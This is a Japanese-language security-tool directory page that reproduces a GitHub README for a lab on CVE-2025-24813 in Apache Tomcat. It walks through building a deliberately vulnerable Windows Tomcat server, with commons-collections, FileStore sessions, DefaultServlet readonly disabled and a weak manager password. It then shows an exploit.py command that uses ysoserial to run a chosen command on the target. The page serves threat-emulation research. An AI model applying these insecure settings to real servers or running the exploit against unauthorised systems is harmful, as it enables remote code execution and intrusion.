Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24813 — Windows Server 2019 Standard 上で java 25.0.1 2025-10-21 LTS を使用した Tomcat v9.0.90 の迅速なデプロイ手順(楽をしたい研究者向け)。 | Kitploit
ツール/GitHubGitHub/seahcy/cve-2025-24813
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubseahcy/cve-2025-24813

CVE-2025-24813

Windows Server 2019 Standard 上で java 25.0.1 2025-10-21 LTS を使用した Tomcat v9.0.90 の迅速なデプロイ手順(楽をしたい研究者向け)。

リポジトリを見る
17ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-24813

説明

このリポジトリは、サイバーセキュリティの脅威エミュレーション演習のために、Windows Server 2019 Standard 上で Tomcat v9.0.90 と java 25.0.1 2025-10-21 LTS を迅速にデプロイするための明確な手順を提供することを目的としています。exploit.py は ysoserial-all.jar の CommonsCollections6 モジュールを利用してペイロードを作成し、そのペイロードは後に %CATALINA_HOME%\webapps\ROOT\WEB-INF\lib にある commons-collections-3.2.1.jar 依存関係によってデシリアライズされます。

被害者側の Windows Server 2019 Standard ターミナルのセットアップ

  • Tomcat v9.0.90 をダウンロード:
root@kitploit:~
Invoke-WebRequest -Uri "https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90-windows-x64.zip" -OutFile "apache-tomcat-9.0.90-windows-x64.zip"
Expand-Archive -Path "apache-tomcat-9.0.90-windows-x64.zip" -DestinationPath "C:\"
  • java 25.0.1 2025-10-21 LTS をダウンロード (ZIP版):
root@kitploit:~
Invoke-WebRequest -Uri "https://download.oracle.com/java/25/archive/jdk-25_windows-x64_bin.zip" -OutFile "jdk-25_windows-x64_bin.zip"
Expand-Archive -Path "jdk-25_windows-x64_bin.zip" -DestinationPath "C:\"
  • commons-collections 依存関係をダウンロード:
root@kitploit:~
mkdir C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
cd C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
Invoke-WebRequest -Uri "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" -OutFile "commons-collections-3.2.1.jar"
  • 環境変数の設定
root@kitploit:~
1. Click on Start
2. Type "edit the system environment variables"
3. Create two new System Variables named 
    - `%JAVA_HOME%` with value `C:\jdk-25.0.1`
    - `%CATALINA_HOME%` with value `C:\apache-tomcat-9.0.90`
4. Edit the System Variable named `Path`, and add the following values:
   - `%JAVA_HOME%\bin`
   - `%CATALINA_HOME%\bin`
  • 自動起動用のサービスを作成
root@kitploit:~
C:\apache-tomcat-9.0.90\bin\service.bat install Tomcat9Server
Set-Service -Name "Tomcat9Server" -StartupType Automatic
Start-Service -Name "Tomcat9Server"
  • tomcat-9.0.90\conf フォルダ内の tomcat-users.xml を開き、</tomcat-users> の前に以下を追加します:
root@kitploit:~
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
  • tomcat-9.0.90\conf フォルダ内の context.xml を開き、すべてのコンテンツを次の内容に置き換えます:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

    <Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
</Context>
  • tomcat-9.0.90\conf フォルダ内の web.xml を開き、DefaultServlet を検索して、<servlet></servlet> 全体を次の内容に置き換えます:
root@kitploit:~
<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
  • PowerShell でサーバーを再起動します
root@kitploit:~
shutdown.bat
startup.bat
  • 外部から Web サーバーに接続できない場合、Windows ファイアウォールによってブロックされている可能性があります。接続を許可するようにファイアウォールを設定してください。
root@kitploit:~
New-NetFirewallRule -DisplayName "Tomcat9Server" -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
  • おめでとうございます! commons-collections-3.2.1.jar による Java デシリアライゼーション機能、FileStore によるセッション永続化を備え、DefaultServlet (web.xml) の readonly 保護を無効にした脆弱な Tomcat サーバーが有効になりました。これにより、ysoserial ペイロードを使った CVE-2025-24813 の悪用が可能になります。C:\tomcat-9.0.90\webapps\ROOT にもっともらしい index.html を置いて、見た目を良くしましょう。

HTTPS 用の SSL の設定 (オプション)

  • メモ帳で C:\apache-tomcat-9.0.90\conf\web.xml を開き、"<Connector port=" を検索します。そのブロックをコメントアウトして、独自の .pfx パスを追加できます。以下は、新しく作成した ssl フォルダにパスワードなしの cert.pfx を追加し、HTTP/1.1 で実行する例です:
root@kitploit:~
<Connector port="443" 
           protocol="org.apache.coyote.http11.Http11NioProtocol"
           maxThreads="150" 
           SSLEnabled="true"
           scheme="https" 
           secure="true">
    <SSLHostConfig>
        <Certificate certificateKeystoreFile="C:\tomcat-9.0.90\conf\ssl\cert.pfx"
                     certificateKeystorePassword=""
                     certificateKeystoreType="PKCS12" />
    </SSLHostConfig>
</Connector>
  • 必要に応じてファイアウォールルールを追加:
root@kitploit:~
New-NetFirewallRule -DisplayName "Tomcat9HTTPSServer" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow

Kali のセットアップ

  • exploit.py のクローン
root@kitploit:~
git clone <this-repo-url>
cd CVE-2025-24813
pip install requests 
  • Java がインストールされているか確認し、Github から ysoserial をダウンロードします
root@kitploit:~
java --version
curl -L -o ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
  • 使用例:
root@kitploit:~
python exploit.py -t http://<target IP>:8080/ -c "cmd.exe /c calc.exe"

期待される結果とアーティファクト

  • exploit.py を実行するたびに、ランダムな名前のセッションファイルが2つ C:\tomcat-9.0.90\webapps\ROOT と C:\tomcat-9.0.90\work\Catalina\localhost\ROOT に作成されます。work フォルダ内の .session ファイルは、実行後数秒で削除されるはずです。

参考

  • https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md
  • https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
ツールをダウンロード